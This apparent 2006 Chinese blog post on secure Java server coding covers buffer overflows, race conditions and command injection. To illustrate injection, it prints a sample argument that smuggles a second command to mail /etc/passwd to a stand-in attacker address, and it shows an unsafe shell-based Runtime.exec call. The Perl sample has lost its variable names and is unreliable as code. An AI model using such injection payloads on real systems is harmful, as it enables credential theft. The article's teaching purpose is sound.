一、概述
编写安全的
Internet
应用并不是一件轻而易举的事情:只要看看各个专业公告板就可以找到连续不断的安全漏洞报告。你如何保证自己的
Internet
应用不象其他人的应用那样满是漏洞?你如何保证自己的名字不会出现在令人难堪的重大安全事故报道中?
如果你使用
Java Servlet
、
JavaServer Pages(JSP)
或者
EJB
,许多难以解决的问题都已经事先解决。当然,漏洞仍有可能出现。下面我们就来看看这些漏洞是什么,以及为什么
Java
程序员不必担心部分
C
和
Perl
程序员必须面对的问题。
C
程序员对安全漏洞应该已经很熟悉,但象
OpenBSD
之类的工程提供了处理此类问题的安全系统。
Java
语言处理这类问题的经验要比
C
少
20
年,但另一方面,
Java
作为一种客户端编程语言诞生,客户端对安全的要求比服务器端苛刻得多。它意味着
Java
的发展有着一个稳固的安全性基础。
Java
原先的定位目标是浏览器。然而,浏览器本身所带的
Java
虚拟机虽然很不错,但却并不完美。
Sun
的《
Chronology of security-related bugs and issues
》总结了运行时环境的漏洞发现历史。我们知道,当
Java
用作服务器端编程语言时,这些漏洞不可能被用作攻击手段。但即使
Java
作为客户端编程语言,重大安全问题的数量也从
1996
年的
6
个
(
其中
3
个是相当严重的问题
)
降低到
2000
年的
1
个。不过,这种安全性的相对提高并不意味着
Java
作为服务器端编程语言已经绝对安全,它只意味着攻击者能够使用的攻击手段越来越受到限制。那么,究竟有哪些地方容易受到攻击,其他编程语言又是如何面对类似问题的呢?
二、缓存溢出
在
C
程序中,缓存溢出是最常见的安全隐患。缓存溢出在用户输入超过已分配内存空间
(
专供用户输入使用
)
时出现。缓存溢出可能成为导致应用被覆盖的关键因素。
C
程序很容易出现缓存溢出,但
Java
程序几乎不可能出现缓存溢出。
从输入流读取输入数据的
C
代码通常如下所示:
char buffer[1000];
int len = read(buffer);
由于缓存的大小在读入数据之前确定,系统要检查为输入保留的缓存是否足够是很困难的。缓存溢出使得用户能够覆盖程序数据结构的关键部分,从而带来了安全上的隐患。有经验的攻击者能够利用这一点直接把代码和数据插入到正在运行的程序。
在
Java
中,我们一般用字符串而不是字符数组保存用户输入。与前面
C
代码等价的
Java
代码如下所示:
String buffer = in.readLine();
在这里,
“
缓存
”
的大小总是和输入内容的大小完全一致。由于
Java
字符串在创建之后不能改变,缓存溢出也就不可能出现。退一步说,即使用字符数组替代字符串作为缓存,
Java
也不象
C
那样容易产生可被攻击者利用的安全漏洞。例如,下面的
Java
代码将产生溢出:
char[] bad = new char[6];
bad[7] = 50;
这段代码总是抛出一个
java.lang.ArrayOutOfBoundsException
异常,而该异常可以由程序自行捕获:
try {
char[] bad = new char[6];
bad[7] = 50;
}
catch (ArrayOutOfBoundsException ex) {
... }
这种处理过程永远不会导致不可预料的行为。无论用什么方法溢出一个数组,我们总是得到
ArrayOutOfBoundsException
异常,而
Java
运行时底层环境却能够保护自身免受任何侵害。一般而言,用
Java
字符串类型处理字符串时,我们无需担心字符串的
ArrayOutOfBoundsExceptions
异常,因此它是一种较为理想的选择。
Java
编程模式从根本上改变了用户输入的处理方法,避免了输入缓存溢出,从而使得
Java
程序员摆脱了最危险的编程漏洞。
三、竞争状态
竞争状态即
Race Condition
,它是第二类最常见的应用安全漏洞。在创建
(
更改
)
资源到修改资源以禁止对资源访问的临界时刻,如果某个进程被允许访问资源,此时就会出现竞争状态。这里的关键问题在于:如果一个任务由两个必不可少的步骤构成,不管你多么想要让这两个步骤一个紧接着另一个执行,操作系统并不保证这一点。例如,在数据库中,事务机制使得两个独立的事件
“
原子化
”
。换言之,一个进程创建文件,然后把这个文件的权限改成禁止常规访问;与此同时,另外一个没有特权的进程可以处理该文件,欺骗有特权的进程错误地修改文件,或者在权限设置完毕之后仍继续对原文件进行访问。
一般地,在标准
Unix
和
NT
环境下,一些高优先级的进程能够把自己插入到任务的多个步骤之间,但这样的进程在
Java
服务器上是不存在的;同时,用纯
Java
编写的程序也不可能修改文件的许可权限。因此,大多数由文件访问导致的竞争状态在
Java
中不会出现,但这并不意味着
Java
完全地摆脱了这个问题,只不过是问题转到了虚拟机上。
我们来看看其他各种开发平台如何处理这个问题。在
Unix
中,我们必须确保默认文件创建模式是安全的,比如在服务器启动之前执行
“umask 200”
这个命令。有关
umask
的更多信息,请在
Unix
系统的命令行上执行
“man umask”
查看
umask
的
man
文档。
在
NT
环境中,我们必须操作
ACL(
访问控制表,
Access Control List)
的安全标记,保护要在它下面创建文件的目录。
NT
的新文件一般从它的父目录继承访问许可。请参见
NT
文档了解更多信息。
Java
中的竞争状态大多数时候出现在临界代码区。例如,在用户登录过程中,系统要生成一个唯一的数字作为用户会话的标识符。为此,系统先产生一个随机数字,然后在散列表之类的数据结构中检查这个数字是否已经被其他用户使用。如果这个数字没有被其他用户使用,则把它放入散列表以防止其他用户使用。代码如
Listing 1
所示:
(Listing 1)
//
保存已登录用户的
ID
Hashtable hash;
//
随机数字生成器
Random rand;
//
生成一个随机数字
Integer id = new Integer(rand.nextInt());
while (hash.containsKey(id))
{
id = new Integer(rand.nextInt());
}
//
为当前用户保留该
ID
hash.put(id, data);
Listing 1
的代码可能带来一个严重的问题:如果有两个线程执行
Listing 1
的代码,其中一个线程在
hash.put(...)
这行代码之前被重新调度,此时同一个随机
ID
就有可能被使用两次。在
Java
中,我们有两种方法解决这个问题。首先,
Listing 1
的代码可以改写成
Listing 2
的形式,确保只有一个线程能够执行关键代码段,防止线程重新调度,避免竞争状态的出现。第二,如果前面的代码是
EJB
服务器的一部分,我们最好有一个利用
EJB
服务器线程控制机制的唯一
ID
服务。
(Listing 2)
synchronized(hash)
{
//
生成一个唯一的随机数字
Integer id =
new Integer(rand.nextInt());
while (hash.containsKey(id))
{
id = new Integer(rand.nextInt());
}
//
为当前用户保留该
ID
hash.put(id, data);
}
四、字符串解释执行
在有些编程语言中,输入字符串中可以插入特殊的函数,欺骗服务器使其执行额外的、多余的动作。下面的
Perl
代码就是一个例子:
= "mail body";
system("/usr/sbin/sendmail -t < ");
显然,这些代码可以作为
CGI
程序的一部分,或者也可以从命令行调用。通常,它可以按照如下方式调用:
perl script.pl honest@true.com
它将把一个邮件
(
即
“mail body”)
发送给用户
honest@true.com
。这个例子虽然简单,但我们却可以按照如下方式进行攻击:
perl script.pl honest@true.com;mail
cheat@liarandthief.com < /etc/passwd
这个命令把一个空白邮件发送给
honest@true.com
,同时又把系统密码文件发送给了
cheat@liarandthief.com
。如果这些代码是
CGI
程序的一部分,它会给服务器的安全带来重大的威胁。
Perl
程序员常常用外部程序
(
比如
sendmail)
扩充
Perl
的功能,以避免用脚本来实现外部程序的功能。然而,
Java
有着相当完善的
API
。比如对于邮件发送,
JavaMail API
就是一个很好的
API
。但是,如果你比较懒惰,想用外部的邮件发送程序发送邮件:
Runtime.getRuntime().exec("/usr/sbin/sendmail -t < ");
事实上这是行不通的。
Java
一般不允许把
OS
级
“< ”
和
“;”
之类的构造符号作为
Runtime.exec()
的一部分。你可能会尝试用下面的方法解决这个问题:
Runtime.getRuntime().exec("sh /usr/sbin/sendmail -t < ");
但是,这种代码是不安全的,它把前面
Perl
代码面临的危险带入了
Java
程序。按照常规的
Java
方法解决问题有时看起来要比取巧的方法复杂一点,但它几乎总是具有更好的可移植性、可扩展性,而且更安全、错误更少。
posted on 2006-08-18 00:19
心随我动 阅读(342)
评论(0) 编辑 收藏 所属分类:
Java